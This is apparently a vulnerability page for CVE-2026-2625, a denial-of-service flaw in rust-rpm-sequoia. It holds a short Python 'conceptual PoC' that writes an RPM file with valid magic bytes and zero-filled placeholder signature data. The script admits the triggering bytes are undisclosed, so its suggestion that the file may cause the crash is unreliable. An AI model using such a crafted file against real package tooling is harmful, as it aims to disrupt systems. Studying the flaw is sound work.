CVE-2026-2625 rust-rpm-sequoia拒绝服务漏洞

#!/usr/bin/env python3 # This is a conceptual PoC for CVE-2026-2625. # Since the specific malformed bytes are not disclosed, this script demonstrates # how one might attempt to trigger the parsing error by crafting a malformed RPM header. import struct def create_malformed_rpm(filename): with open(filename, 'wb') as f: # RPM Lead (96 bytes) # Magic: 0xed 0xab 0xee 0xdb f.write(b'\xed\xab\xee\xdb') f.write(b'\x00' * 92) # Padding for the rest of the lead # Signature Header (Simplified) # In a real exploit, specific OpenPGP packet structures would be crafted # to trigger the parsing bug in rust-rpm-sequoia. f.write(b'\x8e\xad\xe8\x01') # Magic f.write(b'\x00' * 100) # Placeholder for malformed signature data print(f"[+] Created potentially malformed RPM file: {filename}") print("[!] Attempting to verify signature might trigger the DoS.") if __name__ == "__main__": create_malformed_rpm("exploit_CVE-2026-2625.rpm")